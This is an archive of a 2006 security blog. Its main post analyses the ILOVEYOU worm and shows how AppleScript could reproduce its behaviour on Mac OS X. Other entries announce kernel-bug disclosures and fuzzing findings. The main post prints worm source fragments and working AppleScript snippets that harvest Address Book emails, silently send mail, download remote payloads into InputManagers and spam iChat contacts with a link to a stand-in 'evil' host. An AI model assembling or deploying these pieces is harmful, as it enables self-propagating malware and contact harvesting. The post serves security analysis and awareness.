Wednesday, December 27, 2006

Flawed antivirus products

A load of new issues have been published, related to AV products (during the current month). Apparently fuzzing is becoming quite a bit popular nowadays, as mostly every issue is related to a file format parsing flaw:

Definitely AV engines are a hot target for fuzzing. They are supposed to handle many different archive and executable formats and that's a great source of security issues (most commonly, integer overflows, heap-based buffer overflows and even some good old stack smashing fun).

Tuesday, December 26, 2006

AppleScript: Even easier than VBS? (I)

After playing with the AppleScript language for a while, it looks like an extremely useful feature of Mac OS X, which enables interaction with mostly every application installed. It's extremely similar (functionality-wise) to Microsoft's Visual Basic Script (VBS), which also enables scriptability of the whole system, depending on installed components and other settings. VBS certainly helped to automate tasks and other operations in Microsoft Windows, but also brought a whole new class of malware.

Thanks to the integration of the scripting functionality, it becomes much more easier to elaborate malware capable of spreading itself, for example accessing the Microsoft Outlook address book to gather target e-mail addresses. The first widely known in-the-wild example of malware deploying these techniques was the infamous ILOVEYOU. It's worth noting, that, while they weren't capable of "morphing" their code (ex. on spread time, they didn't generate a different source representation of themselves), they already made use of obfuscation techniques such as variable name randomization, strings encoding and other tricks. Thus, the author needed to start different infections using variants, in order to avoid detection by signature-based antivirus and IDS products.

We'll be walking through the original LoveLetter (aka ILOVEYOU) worm source code and looking over the equivalent functionality and potentially harmful capabilities of AppleScript.

Note: Some readers report warnings and blocked content by antivirus products. No script is being executed at all, although, real source code is quoted and thus it may be detected by the AV engine as harmful content.

More...

Warming up with VBS vs. AppleScript

The following is a fragment of the ILOVEYOU/LoveLetter worm source code (Update: edited to avoid false positives in AV engines), which initializes an object for filesystem access and opens itself (WScript.ScriptFullname is the path to the current running script):

Set myFs = CreateObject("Scripting.FileSystemObject")
set mySelf = myFs.OpenTextFile(WScript.ScriptFullname, 1)

This functionality is also present in AppleScript, and it's certainly much more flexible (no need to initialize an object for reading the file, as well as simplified filesystem operations):

set pathLetter to (path to me)
set myLetter to (read pathLetter)

The above AppleScript code simply makes the script read itself (path to me) and stores the data in the myLetter variable.

Spread. You've got Mail.

The following code is part of the LoveLetter spreading routine (Update: edited to avoid AV engines false positives):

set myOut = WScript.CreateObject("Outlook.Application")
set myBook =
myOut.GetNameSpace("MAPI")
(...)
for myCtrlLists = 1 to
myBook.AddressLists.Count
set myAddrs =
myBook.AddressLists(myCtrlLists)
(...)
set myEvilMessage =
myOut.CreateItem(0)
myEvilMessage.Recipients.Add(poorDude)
myEvilMessage.Subject = myEvilSubject
myEvilMessage.Body = vbcrlf&myEvilBody
myEvilMessage.Attachments.Add(sysDir&randName)
myEvilMessage.Send
(...)

Let's check what the above code is doing. First it initializes two objects, for Outlook and Address Book scriptability. Then it walks through the address book and sends an e-mail with a pseudo-random payload and the script as attachment. Simple, and fast. Now, we are going to check for the same functionality in our very own AppleScript:

  1. We need to access a list of e-mail addresses somewhere.
    1. Address Book
    2. Mail
    3. Other applications installed that could be integrated: Entourage, Eudora, etc.
  2. Then we need to use the target application scriptability:
    1. Mail

Fortunately, AppleScript isn't as over-complicated as VBS. Interaction with installed applications is done using 'tell' blocks:

tell application "Mail"
(...)
end tell

Thus, we'll need a block for iterating through the Address Book entries (testing each one for available e-mail field) and another one for sending the messages. Easy. Let's see how we can send an e-mail (added arbitrary line breaks for making it fit in the page):

tell application "Mail"
set pwnMessage to make new outgoing message with properties {
subject:"Welcome to Pwndertino",
sender:"Pwnies Mghee", address:"pwnies@mghee.org",
content:"Hey, happy xmas! check the photo.", visible:false}
tell pwnMessage
make new to recipient with properties {address:"bob@example.org"}
end tell
send pwnMessage
quit
end tell

The above code is self-explanatory: we 'tell' the Mail application to make a new outgoing message for recipient 'bob@example.org' from 'Pwnies Mghee', with subject 'Welcome to Pwndertino'. It won't prompt the user for sending, but it will leave the e-mail in the Sent folder.

Finally, for gathering e-mail addresses from the user Address Book:

set myList to {}
tell application "Address Book"
repeat with thisDude in every person
repeat with thisEmail in email of thisDude
set myList to myList & (value of thisEmail as string)
end repeat
end repeat
end tell

Downloading arbitrary content

A nice functionality exists in AppleScript that makes possible automated downloading of content from arbitrary sources, to a place in the filesystem of our choice:

tell application "URL Access Scripting"
set evilURL to "http://projects.info-pull.com/moab/images/apple-peeler.jpg"
set targetPath to ((path to home folder) & "Library:InputManagers:Apple.jpg") as string
download evilURL to file targetPath replacing yes
end tell

The above code simply downloads an image to your home folder Library/InputManagers directory. A malicious script could download a compressed bundle, another script or any other payload you can imagine (for example a Universal Binary), then executing it or uncompressing the input manager for installing a backdoor on the target system. Actually, the LoveLetter worm needed a trick in Internet Explorer to download a remote executable (setting the startup page to the target URL), which wasn't 100% reliable. In Mac OS X, we have this nice URL Access Scripting which makes it easy and most probably reliable on every OS X installation.

Fun with iChat

Of course, the by-default instant messaging application of Mac OS X, iChat, is accessible from AppleScript. A few different operations are available, from listing available contacts to setting the status message or sending a message (Doesn't that sound like those IM-based worms which send an URL to every contact in the account, expecting them to download and run the file?):

tell application "iChat"
set myAccounts to (get properties of every account)
set myList to {}
repeat with acct in myAccounts
copy acct's id to the end of myList
end repeat
end tell

The above code will store all available contact IDs in the myList variable. The following script, instead, will send a message to each available contact:

tell application "iChat"
set myMsg to "Welcome to Pwndertino" as string
repeat with acct in every account
send myMsg to acct
end repeat
end tell

And for changing the status message:

tell application "iChat"
set newStatus to "Check out http://evil.foo!"
set status message to newStatus
end

Binary vs. Text-based

VBS scripts are plain text files, but AS scripts are contained in a binary format, which can be restricted from modification (that is, read-only compiled scripts won't be opened by the Script Editor). Although, in the near future this restriction could be rendered useless (probably there's nothing more than simple encoding as the file differences seem to be minimal, and read-only scripts could be reversed back to their edit-capable status).

So-called "in-the-wild cases"

Malware developed with VBS has been present for years, with many infamous in-the-wild infections. A load of tools, and do-it-yourself kits appeared, like VBSWG (used to create the Anna Kournikova worm and many other variants), causing a storm of generic malware and variants of the same sample. Reading the VX Heavens statistics, we can see there are 1562 samples of VBS-based malware. For AppleScript, no entry exists. Although, in-the-wild infections caused by AppleScript-based worms have been in the news.

Mac.Simpsons@mm used Microsoft Outlook Express or Entourage for spreading itself to all available contacts, as well as copying itself to the Startup Items folder. Like with many other worms, user interaction was a requirement for successful infection.

Conclusions

Apple, once again, has invested more on usability and integration than on security. AppleScript is a great feature which makes OS X easier for those who need to perform repetitive tasks and other operations supported by this powerful scripting language. It's easy to learn and tightly integrated in the system, providing access to every installed application and it's associated information.

But this leaves a huge attack surface for those good old malware villains. If VBS caused the 'worm big bang' in Microsoft Windows systems, there's no doubt there will be a similar movement around OS X and its now unlimited scripting facilities.But the question is, Is it really worth (as in profit) to invest time on OS X malware? The answer remains unknown. But it would be useful to inject a dose of reality right into the brain of some clueless hipsters.

Further information:

  1. MacInTouch Special Report: Simpsons AppleScript Virus
  2. Sophos information about AplS/Simpsons-A
  3. Building Anna Kournikova: An Analysis of the VBSWG Worm Kit
  4. CERT Advisory CA-2000-04 Love Letter Worm

Saturday, November 11, 2006

Wireless fun with MOKB-11-11-2006


The Broadcom BCMWL5.SYS wireless device driver is vulnerable to a stack-based buffer overflow that can lead to arbitrary kernel-mode code execution. This particular vulnerability is caused by improper handling of 802.11 probe responses containing a long SSID field. The BCMWL5.SYS driver is bundled with new PCs from HP, Dell, Gateway, eMachines, and other computer manufacturers. Broadcom has released a fixed driver to their partners, which are in turn providing updates for the affected products. Linksys, Zonet, and other wireless card manufactures also provide devices that ship with this driver.

More details and proof of concept (exploit) at http://projects.info-pull.com/mokb/MOKB-11-11-2006.html.

Tuesday, November 07, 2006

kdump for Fedora Core 6 (and more Month of Kernel Bugs fun)

A nice how-to document about setting up kdump to work with the official kernel packages of Fedora Core 6. Neat for those using FC 6 and deal with kernel panics, oops, soft lockups, etc. Even better if you have the reference of the crash tool (which makes gdb command line similar to the Solaris (k)mdb debugger, probably one of the best kernel debugging tools out there).

Not so nice that Mac OS X still has no support for local kernel 'core' dumps, even if it's based on FreeBSD which already does this out of the box with the proper settings. Maybe for the next service pack :-).
Anyway, the MoKB release of today: MOKB-07-11-2006 - Linux 2.6.x zlib_inflate memory corruption. Also at the Kernel Fun blog.

Wednesday, November 01, 2006

First Month of Kernel Bugs (MoKB) release

The first MoKB release is out (a memory corruption bug in the Apple Airport device drivers, that can lead to arbitrary code execution, contributed by HD). Also, the archive is up and running, among the BSD version of fsfuzzer. Kelly Jackson from Dark Reading has written two nice articles about MoKB. Also, an article has been written by Brian Kebs for the Security Fix blog of the Washington Post.

Friday, October 13, 2006

Windows 2000 SP4 WehnTrust Home User


Just a quick note about WehnTrust Home User 1.0.0.9 results from a Vista-Probe 0.2 test run in a Windows 2000 Professional SP4 installation. skape has done a nice job with the ASLR stuff, it beats Vista so far (15 bits to 8bits for heap in RC1). Hope to test the SEH overwrite protection and the other goodies from commercial version soon.